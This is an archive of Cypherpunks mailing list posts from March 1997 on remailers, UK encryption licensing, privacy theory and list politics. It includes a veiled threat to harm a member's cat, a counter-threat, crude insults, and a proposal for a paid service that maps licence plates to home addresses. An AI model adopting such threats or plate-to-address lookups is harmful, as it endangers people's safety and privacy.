Subject: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
Message-ID: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:04 PM 3/21/97 -0800, you wrote:
|[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
|not gone out as of late this afternoon, I looked to see if other messages
|I've sent off have gone out. I found that a message I sent out last night,
|23 hours ago, has not arrived at my site, nor have I seen any followups by
|others to it. So I am sending it again. I will go back through my messages
|and look for other such non-sends. I suggest others do the same. I don't
|know what the problem is, but it's worse in this respect than the problems
|with toad.com.]
|

Tim:

Last Thursday night I got word of Perry's shut down from the PGP Users List;
I had
not seen it posted during the day so I forwarded it to the cypherpunks list.

It showed up at my location 5 minutes ago.

I have the consolation of knowing mine was not the only one delayed.

I seem to have noticed messages being repeated this afternoon.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzNAMiKJGkNBIH7lAQFDEQQAj1RSJBtJ+vNv/iwPFTTcs6RNBpqq93tN
H0j3toYnuFwuAThR5uI4qyuCto0dVhygl17cgZpLjo85CXDLe3SswN05fTZvhKCB
5E2Doq5OHo01S9cOzUigr6Q5oRR/ZEqGUTZSJmKzw1l0NzA+hDLvs+/zK4wb8yiX
Zb//53oBjIg=
=INC3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 21 Mar 1997 18:17:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703220217.VAA24062@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


                        BELIEVE the children!

Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.

                        BELIEVE the children!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 20:29:42 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
In-Reply-To: <3.0.1.32.19970321211346.00804dc0@smtp1.abraxis.com>
Message-ID: <33335B64.77F1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 05:04 PM 3/21/97 -0800, you wrote:
> |[Hmmmhhhh...after noticing that a message I sent off this morning at 9 had
> |not gone out as of late this afternoon I will go back through my messages
> |and look for other such non-sends. I suggest others do the same. I don't
> |know what the problem is, but it's worse in this respect than the problems
> |with toad.com.]
> |
> 
> Tim:
> Last Thursday night I got word of Perry's shut down from the PGP Users List;
> I had
> not seen it posted during the day so I forwarded it to the cypherpunks list.
> It showed up at my location 5 minutes ago.

  I emailed the majordomo and it sent back a message saying, "I am not
a Bot."
It also added that from now on, it prefers to be addressed as 
'Major Domo', with proper respect for its rank.

  The situation is worse than I thought. Not only are the humans on the
list being replaced by Bots, but the Bots seem to be evolving and/or
mutating to emulate human characteristics.
  Also, I recently received a reply from a Bot that had an English 
accent and said it was having a "Baaaad day". I could smell wet wool,
too. I would suggest keeping an eye out for headers that contain the
words "Sender: toad.clone".

> -----BEGIN PGP SIGNATURE-----
> Version: 1.7
> 
> iQCVAgUBMzNFORGEDkNBIFORGEDQFDEQQAjFORGEDtJ+vNFORGEDPFTTcs6FORGEDq93tN
> ZbFORGEDBjIg=
> -----END PGP SIGNATURE-----

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Fri, 21 Mar 1997 22:20:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: "why privacy" revisited
In-Reply-To: <v03007804af58f0258ca0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970321190549.21129C-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Timothy C. May wrote:

> The best arguments are not those couched in terms of "benefits" to
> society/markets, but in terms of "lowest common denominators." I favor the
> "Schelling point" view, and have espoused it here often.
> 
> In most Western systems, a reasonable Schelling point is that various
> actors agree not to try to enter the "private spaces" of others. For
> example, my neighbors and I agree not to enter each other's houses to pry
> and inspect.
> 
> (The Schelling point is that this "boundary" point is essentially agreed
> upon even though my neighbors and I have never formally negotiated it...as
> with animals and their "territories," certain equilibrium points are
> reached.)
> 
> In Western systems, it is recognized that the _costs_ of coercively
> entering another's home and/or private space are too high, and so we
> declare there to be a "right of privacy." In reality, what we mean is that
> we accept a private domain as a Schelling point.

I think you're answering the third meaning of "why privacy", "why DOES
privacy exist?"  This is a positive rather than a normative question
(which is what I was asking).  I agree with you that most likely privacy
exist because in some sense it is an equilibrium in the game of life.  But
what I'm asking is whether it is a desirable equilibrium, and whether a
new equilibrium involving more privacy is better than what we have now. 

> I reject the argument Wei Dai mentions, that market benefits could obtain
> if society rejected privacy, for two reason. First, because in an important
> sense rights are not the slaves of corporate or personal business
> interests. (E.g., my interest in Alice's television viewing habits does not
> trump her right to keep me out of her house.). Second,  because so-called
> "market efficiency" is largely an illusion anyway.

Certainly no real market is perfectly efficient, but some markets
are relativly more efficient than others, and most markets are more
efficient than alternative forms of economic organization (e.g.,
socialism) so I don't see how you can call "market efficiency" an
illusion.  The inefficiencies I was talking about were relative to the
case where both parties have the same information.

Also, I don't quite understand your first argument.  It seems to suggest
that privacy should exist for no reason in particular.  If this is the
case then it doesn't make sense to argue about the costs/benefits of
privacy. But it is my understanding that most cypherpunks believe more
privacy benefits everyone, and therefore work to making more privacy for
everyone.  What I'm looking for are arguments that support this belief.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 21 Mar 1997 14:28:03 -0800 (PST)
To: jya@pipeline.com
Subject: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321153958.006cc3f4@pop.pipeline.com>
Message-ID: <199703212221.WAA00388@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> forwards from Cyberia-L:
: 
: Making absolutely no comment on the subject of licensing of certification
: authorities, you may be interested in a UK paper entitled LICENSING OF
: TRUSTED THIRD PARTIES FOR THE PROVISION OF ENCRYPTION SERVICES - Public
: Consultation Paper on Detailed Proposals for=20
: Legislation, March 1997.
: 
: You can obtain a full document at http://www.dti.gov.uk/pubs.

Ross Anderson <rja14@cl.cam.ac.uk> posted his interpretation of this
to sci.crypt, alt.security.pgp, alt.security today, which I think
cypherpunks might find eye opening, I'm off to read the doc myself
now.

: From: rja14@cl.cam.ac.uk (Ross Anderson)
: Newsgroups: alt.security.pgp,alt.security,sci.crypt
: Subject: UK Government to ban PGP - now official!
: Date: 21 Mar 1997 10:07:22 GMT
: Message-ID: <5gtmkq$7ns@lyra.csx.cam.ac.uk>
: 
: 
: The British government's Department of Trade and Industry has sneaked 
: out proposals on licensing encryption services. Their effect will be to 
: ban PGP and much more besides.
: 
: I have put a copy on http://www.cl.cam.ac.uk/users/rja14/dti.html as
: their own web server appears to be conveniently down.
: 
: Licensing will be mandatory:
: 
:       We intend that it will be a criminal offence for a body to offer 
:       or provide licensable encryption services to the UK public without 
:       a valid licence
: 
: The scope of licensing is broad:
: 
:       Public will be defined to cover any natural or legal person in the UK.
: 
:       Encryption services is meant to encompass any service, whether provided 
:       free or not, which involves any or all of the following cryptographic 
:       functionality - key management, key recovery, key certification, key 
:       storage, message integrity (through the use of digital signatures) key 
:       generation, time stamping, or key revocation services (whether for
:       integrity or confidentiality), which are offered in a manner which 
:       allows a client to determine a choice of cryptographic key or allows 
:       the client a choice of recipient/s.
: 
: Total official discretion is retained:
: 
:       The legislation will provide that bodies wishing to offer or provide 
:       encryption services to the public in the UK will be required to 
:       obtain a licence. The legislation will give the Secretary of State 
:       discretion to determine appropriate licence conditions. 
: 
: The licence conditions imply that only large organisations will be able to 
: get licences: small organisations will have to use large ones to manage 
: their keys (this was the policy outlined last June by a DTI spokesman).
: The main licence condition is of course that keys must be escrowed, and
: delivered on demand to a central repository within one hour. The mere
: delivery of decrypted plaintext is not acceptable except perhaps from 
: TTPs overseas under international agreements.
: 
: The effect of all this appears to be:
: 
: 1.    PGP servers will be outlawed; it will be an offence for me to sign 
:       your pgp key, for you to sign mine, and for anybody to put my 
:       existing signed PGP key in a foreign (unlicensed) directory
: 
: 2.    Countries that won't escrow, such as Holland and Denmark, will be
:       cut out of the Superhighway economy. You won't even be able to
:       send signed medical records back and forth (let alone encrypted
:       ones)
: 
: 3.    You can forget about building distributed secure systems, as even
:       relatively primitive products such as Kerberos would need to have
:       their keys managed by a licensed TTP. This is clearly impractical.
:       (The paper does say that purely intra-company key management is 
: OK
:       but licensing is required whenever there is any interaction with
:       the outside world, which presumably catches systems with mail, web 
:       or whatever)
: 
: There are let-outs for banks and Rupert Murdoch:
: 
:       Encryption services as an integral part of another service (such as in 
:       the scrambling of pay TV programmes or the authentication of credit 
:       cards) are also excluded from this legislation. 
: 
: However, there are no let-outs for services providing only authenticity and
: nonrepudiation (as opposed to confidentiality) services. This is a point that
: has been raised repeatedly by doctors, lawyers and others - giving a police
: officer the power to inspect my medical records might just conceivably help
: him build a case against me, but giving him the power to forge prescriptions
: and legal contracts appears a recipe for disaster. The scope for fraud and
: corruption will be immense.
: 
: Yet the government continues to insist on control of, and access to, signing 
: keys as well as decryption keys. This shows that the real concern is not
: really law enforcement at all, but national intelligence.
: 
: Finally, there's an opportunity to write in and protest:
: 
:       The Government invites comments on this paper until 30 May 1997 
: 
: 
: Though if the recent `consultation' about the recent `government.direct'
: programme is anything to go by, negative comments will simply be ignored.
: 
: Meanwhile, GCHQ is pressing ahead with the implementation of an escrow
: protocol (see http://www.cs.berkeley.edu/~daw/GCHQ/casm.htm) that is broken
: (see http://www.cl.cam.ac.uk/ftp/users/rja14/euroclipper.ps.gz).
: 
: In Grey's words, ``All over Europe, the lights are going out''
: 
: Ross

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ilya Slavin <slavin@acf2.NYU.EDU>
Date: Fri, 21 Mar 1997 19:45:32 -0800 (PST)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: NYU's PGP Key-Signing Seminar - a critique
In-Reply-To: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>
Message-ID: <Pine.ULT.3.95.970321223855.14300B-100000@acf2.NYU.EDU>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Sergey Goldgaber wrote:

> I am writing regarding the PGP Seminar to be held on the 27th of March.
> Your informative session is laudible.  And, I would like to take full
> advantage of the key-signing session to follow.  However, there is a
> certain concern which it would be prudent to address first.

	Dear Sergey,

	You are, of course, correct about this -- I knew I missed
something when I was making up the instructions (I had to do it in 3
minutes).  I've made the correction.

	Ilya
_______________________________________________________________________
Ilya Slavin         slavin@acf2.nyu.edu          webmaster@cims.nyu.edu
Home Page is at http://www.nyu.edu/pages/advocacy/officers/slavin/
PGP Key fingerprint =  41 88 5D 47 AB 5A 01 D7  7F 89 6D 8E 77 0A 28 C5
'finger' slavin@acf2.nyu.edu to get my public key
_______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 21 Mar 1997 22:46:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
Message-ID: <199703220646.WAA32226@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 10:35 PM 3/20/97 -0500, John Perry wrote:
> > Apparently some high-ranking
> >official has been receiving anonymous email coming from my site that
> >is of a threatening nature. This official has decided to call in the
> >FBI as I was visited by said organization. I am shutting down remailer
> >operations immediately. 
 
> I think you should name the "high-ranking official" involved. 

  If there actually is one.

> We (and you) might also point out that as far as you know, these threatening
> notes could have been send by GOVERNMENT people, in an attempt to shut down
> the system.

  Perhaps there was no threatening note.
  Perhaps there was no visit from the FBI.

  The attempt to destroy the cypherpunks list failed. The next logical
target would be the remailers.
  Two remailers go down in the same week, both being tenacles of C2Net.
  Greg Broiles once again happens upon the scene of the accident, and
predictably warns everyone of the grave dangers and liabilities facing
remailer operators. How long until he publicly calls for the remailers
to be "killed," as he did with the cypherpunks list?

  Instead of solutions to the problems facing small remailers, we have
schills coming out of the woodwork to proclaim that remailers are only
feasible for Big Business to operate.
  Corporate takeover of the list failed, now corporate takeover of the
remailers seems to be the new agenda.

  I suggest that, instead of wasting time on a new battle, we simply 
resurrect all of the arguments over list control and re-post them
as arguments over remailer control, simply substituting the word
"remailer" everywhere that the word "list" occurs.

Truthmonger


    Cindy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 21:39:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dorothy and the four Horseman
In-Reply-To: <3.0.32.19970321123328.00af9c00@gabber.c2.net>
Message-ID: <3333654C.5FCD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Douglas Barnes wrote:
> 
> Aldrich Ames is actually a great example of why Key Escrow is
> NOT a good idea. Any measure that concentrates keys in one or
> several locations creates a tempting target for spies,
> criminals and corporate espionage types. How much better do the
> GAK proponents plan to protect keys than, say, the names of all
> our agents in the former Soviet Union?
> 
> Doug






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 21:41:22 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
In-Reply-To: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
Message-ID: <33336C84.1DF1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> There does appear to be a coordinated global action to issue
> policies on TTP, GAK and the like at this time.
> 
> All are apparently guided by The Wassenaar Arrangement amongst
> two dozen or so countries to act in concert, and to go public with
> dual-use controls in unison.
> 
> So, Clint Brooks' comment at CFP about a new policy coming out
> for stronger crypto is a surely a harbinger of global GAK, in the
> guise of TTP or Key Recovery, 

  Note that The Wassenaar Arrangement is not legislation passed 
by our government or others. It is the product of people who sit
in rooms and make decisions as to how the future of the world 
will be.
  Thus, through collusion between them, they decide what everyone
worldwide will be offered on the plate handed to them by their
government. Yet, when our legislators (and those of other nations)
pass laws affecting us, in order to 'fall into line' with these
'standards', it will be done under the auspices of 'the will of
the people'.

  My prediction is that, if it appears the efforts of global GAK
are stumbling because of opposition, then those opposing it will
find themselves attacked by a worldwide conspiracy to let the
streets in front of their homes go unattended and fall into 
disrepair. The opposition will thus dwindle, as people spend their
time writing the mayor, and letters to the editor of their hometown
newspaper.
  Ridiculous? I'm just pointing out that the rule of law in most
countries has split into two factions. We have elected legislators
to vote for laws concerning the latest ten-second sound-byte
controversy on the Jenny Jones Show, and we have a global web
of regulators and private actors to decide the more important
issues concerning our freedom and privacy.

  So, in the end, don't be surprised if The Wassenaar Arrangement
is amended to include the provision that anyone agreeing to wear
leg chains will have the potholes fixed on the streets in front
of their homes. 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 22:45:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Report from Supreme Court on CDA arguments
In-Reply-To: <v03007809af590e199645@[207.167.93.63]>
Message-ID: <33337669.CFF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
 
> Nothing I have seen in the interpretations of the CDA would "excuse" me
> from saying "Fuck" (or worse) in a forum if I knew readers under 18 might
> see it. (Some of the pro-CDA folks talk about possible exceptions for, say,
> two 17-year-olds discussing sexual problems between themselves).
> 
> This was the main reason I did "Tim's Vernacular Translation of the Bible"
> as an alternate .sig. (Included below, by the way.)

> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]

  Perhaps this sig could be used in all replies to government 
agencies in regard to CDA and other censorship matters.
  Is it in the public domain?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles Platt <cp@panix.com>
Date: Fri, 21 Mar 1997 21:43:08 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970322003754.21017C-100000@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way

Okay, Vulis, that's it, you have made an explicit threat in a public
forum, I know where you live, I know your phone number, in fact I once
spoke to you on the phone, and I will be suggesting to the rather slow
witted people at my local police precinct that you have already 
demonstrated unstable, threatening behavior toward many people, giving me 
good reason to believe that you are capable of assault.

This is the last you will hear from me online. Anything further will be 
stated in person.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 22 Mar 1997 00:56:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: LA Times article on crypto anarchy
Message-ID: <199703220856.AAA02883@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> "'Activity in cyberspace ultimately forecasts the end of national
> control,' said David Post, visiting associate professor of law at
> Georgetown University."
 
> The article goes on to mention digital cash, crypto policy debates,
> problems with the CDA, Germany's attempt to block access to Radikal
> magazine and anti holocast info on the net, and other topics which we
> have discussed at length.  It is good to see these ideas beginning to
> enter the mainstream.
 
> This is what this list and this movement is capable of.  A lot of
> these ideas would not have received their prominence if it were not
> for the cypherpunks.  And of course there are powerful forces arranged
> in opposition.

  Of course, those who attempt to point toward those powerful forces
will be be subjected to ridicule as paranoid conspiracy theorists. And
when they point out the facts concerning the underlying alliances and
motivations behind various actors on the list, then they will be met
with rebuttals that so-and-so had a beer with them, once, and they
seemed like a nice person.
  Big news flash! 
    Nazi's attend the opera and kiss babies.
    Money buys people (even those who deny it to themselves).

  I wish I had a dime for every post I've seen on this list that 
denigrates those that suggest that the list is both followed by,
and subjected to interference by, clandestine agencies and agents.
  "What? Our 'How to build a Nuclear bomb' list is being subjected
to surveillance? How silly!"
  Buy a clue, dudes and dudettes. Cryptography is the new Nuclear
technology of the Information Age. Big Brother is paying attention.

>  How easy they find it to distract us, to fill the list
> with irrelevant discussions!  When I see so many posts which are purely
> flame bait, or which seem to go out of their way to explore trivia as
> though it were of interest, I believe that in at least some cases they
> are intentionally designed to thwart our efforts.

   Most people who recognize this still fail to see the 'thwarting'
that takes place by those whose sole purpose is to spread disinformation
while seeming to agree with the consensus opinion on the list. The 
subtle slants which are a constant undercurrent in their posts are
seldom seen as an attempt to undermine the issues they appear to be
supporting.
 
> I'm not calling for censorship, but I'd like people to be aware of what
> is going on.  Before responding to an off-topic or flaming post, consider
> the motivations of the creators of the thread.  Is it possible that this
> is purely an attempt to fill the list with noise, to drown out discussion
> on more important and relevant topics?

  In some cases, undoubtedly, but anyone who thinks that the flames
and off-topic posts are the enemy on this list are _not_ aware of
what is going on.
  Noise will deflect idiots and lightweights from following the crucial
issues surrounding cryptography, but this in no great loss. The true
loss to the list is when the supposedly intelligent members lose the
capacity to distinguish critical points raised on the list because they
have allowed themselves to fall into the same personality based mode
of censorship as was forcefully imposed on the list.

  Look at the number of people on the list who _boast_ about their
killfiles. They are idiots. Even those who profess to use their 
filters as an information tool seem to base their filtering on
personality, to a large degree.
  The result? They are filtering _into_ view those the disinformation
artists who will lick their dick in order to lead them away from 
areas they don't want to receive too much attention.

  The result of the sheep mentality of cliques who killfile each other
is that if a list member wants to raise an issue outside of his or her
own _clan_ on the list, then they must make NOISE sufficient to draw
in the members of other clans, whose other members will read their
replies.
  Your post might waken a few of the converted to remind them that it
takes an effort to stay on track, but if you had found a way to work
the word "cocksucker" into the list, you would have reached a wider
audience, and perhaps done some good where it will be more effective.
(Or, better yet, badmouth the list Icons.)

  The fact of the matter is, spotting spooks and schills on this list
is a minor matter of the simplest of traffic analysis, given the fact
that so many list members are content to focus their attention only on
the _visible_ enemies that those who use deceit and deception have to
make little effort to cover their tracks.

> Simply being aware of the attack will, I suggest, go a long way towards
> reducing its impact.

  I think that all list members would be well-advised to read your post
and give it serious thought.
  I think, however, that they should also make an attempt to broaden
the concepts you deal with, in their own mind, in order to adjust their
view as to the true nature of the traffic on this list really is.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 22 Mar 1997 02:14:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <3.0.1.32.19970322015649.006f21a8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/21/97 -0800, Toto wrote:
>  Two remailers go down in the same week, both being tenacles of C2Net.
>  Greg Broiles once again happens upon the scene of the accident, and
>predictably warns everyone of the grave dangers and liabilities facing
>remailer operators. How long until he publicly calls for the remailers
>to be "killed," as he did with the cypherpunks list?

You ought to read more carefully. I suggested that remailers who *charge for
remailing* may be treated differently under the law than remailers who don't
if they're sued as contributory or vicarious infringers of copyrights. I've
been making that point for at least a year, maybe as long as two years.
(There's a particular Ninth Circuit case - _Fonovisa v. Cherry Auction_ -
which I believe suggests that conclusion, or at least highlights the
relationship between profit and contributory/vicarious liability. It's also
discussed in _RTC v. Netcom_, although the _Fonovisa_ case discussed in _RTC_
was the district court's opinion, which was reversed in the Ninth Circuit, if
I remember correctly.)

Would you prefer that I don't mention that potential development and silently
watch remailer operators unknowingly expose themselves to extra liability? Or
that I speak up and be called an enemy of the remailers? It's not clear to me
what you think I ought to do, except perhaps modify my understanding of the
law to more closely match what you wish it was. 

Also, I did not call for the list to be killed, I said I thought it was dead,
and still think so. The list sees precious few messages worth reading or
responding to. Other forums provide a much better signal/noise ratio and have
far fewer distracting kooks. This list was once a useful place to keep
up-to-date on new developments in cryptography, both technical and
legal/political. Now it's mostly useful as a decoy, allowing loons & kooks of
various flavors to focus their energies and messages here, leaving other
lists and other forums for people actually interested in getting things done.
I get better crypto news faster from other places now. 

My comments, sent on 2/6/97, about "killing the list" are below:

- --

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

- --

>  Instead of solutions to the problems facing small remailers, we have
>schills coming out of the woodwork to proclaim that remailers are only
>feasible for Big Business to operate.

I think anyone (be they a "real person" or a "corporate person") with any
substantial assets ought to distance themselves from remailers because there
are too many people inclined to deliberately attack remailer operators and
the remailer network by sending harmful messages which they or third parties
then complain about. If I didn't think this was true, I'd run a remailer
again myself. 

My current favorite model for remailer ownership and financing consists of a
charitable or spendthrift trust which [perhaps funds a nonprofit corporation
which] rents machine time/net access to run a remailer.

I think that actually fighting a lawsuit against a remailer is likely
pointless, unless the remailer attracts an attorney willing to handle it pro
bono and the remailer operator feels like being a test case. It makes much
more sense to think of remailers as temporary and ephemeral, disappearing
when squeezed too hard and reappearing with a different name and different
ISP. 

>  Corporate takeover of the list failed, now corporate takeover of the
>remailers seems to be the new agenda.

Why would this be useful? Big greedy corporations can't get enough potential
liability? Big greedy corporations can't get enough spam? Big greedy
corporations want to get complaint mail? You've obviously never run a
remailer or a corporation yourself.

>  I suggest that, instead of wasting time on a new battle, we simply 
>resurrect all of the arguments over list control and re-post them
>as arguments over remailer control, simply substituting the word
>"remailer" everywhere that the word "list" occurs.

I suggest that you get a new hobby.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzOsif37pMWUJFlhAQFdbwf+LTCZl8z32oeJq1oKDj+QJfGb2zGea1jK
zfjPARBt5KInQO81FMeEh+R8v0C5dDu9fXpIK69afL22qd5K2QAqnApENzkFL8AC
x+vVH57PgSNaVRrw0w/1laUi5r8rkESUf67yYtmr4mx6kf/5rHMCaP5aaB3k5pP9
WH1d3s9uUCIUdsW4PgS8XPfzHDc2yxH2mMbD3c4hX7UZOBwy+ish4iomZ0P6Ik0s
GtELQIHyio5k5bNHBpCad+lCpadz+NsyicUdUltBEWr/NfJzUu9+XRA2PEImdKVF
LrdZlVOWc/4MSmiJrfEFr2Si8f1j1Ete2/0YVpF94v2C4VadHrmhvQ==
=gYpd
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703220646.WAA32226@mailmasher.com>
Message-ID: <Vuky4D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:
...
>
> Truthmonger
>
>
>     Cindy
>  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Do we know anyone named Cindy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks & Ecash in WSJ, Chaum,and Amazing Revelation by NSA
In-Reply-To: <199703210008.QAA00799@crypt.hfinney.com>
Message-ID: <Fwky4D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney <hal@rain.org> writes:
...
> In my travels around the web, I find that First Virtual is being
> relatively successful for small amounts like shareware fees.  It is
> easy to get started with FV; you fill out their web page and make a call
> to their 800 number with your credit card info.  You're ready to go in
> a few minutes.  I'm sure there are a lot more people buying things with
> FV than with Digicash.
...

I just had an idea for an interesting demo project. Perhaps someone
wants to take it up and to put a spin on it to promote privacy/cryptography.

Most (perhaps all) states' motor vehicle departments allow you to connect
to their computer (usually via a modem) and map licence plate numbers into
names/addresses.  Typically you must first set up an account and pay, e.g.,
$200, and then something like $4 is deducted from the account for each
query. Obviously, only someone who performs a lot of queries (like a p.i.
or a lawyer) would set up an account.

It occurred to me that it might be "interesting" for someone to set up
accounts with all the states that have this service; and to establish a
Web site that would do quantity 1 queries for a reasonable fee, like $FV10.

I recall that someone got hold of the Washington State database and
operated such a service for free for a few days as a demo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Mar 1997 01:00:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More disinfo from Cocksucker John Gilmore
In-Reply-To: <858966058.116257.0@fatmans.demon.co.uk>
Message-ID: <HcLy4D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



paul@fatmans.demon.co.uk writes:

>
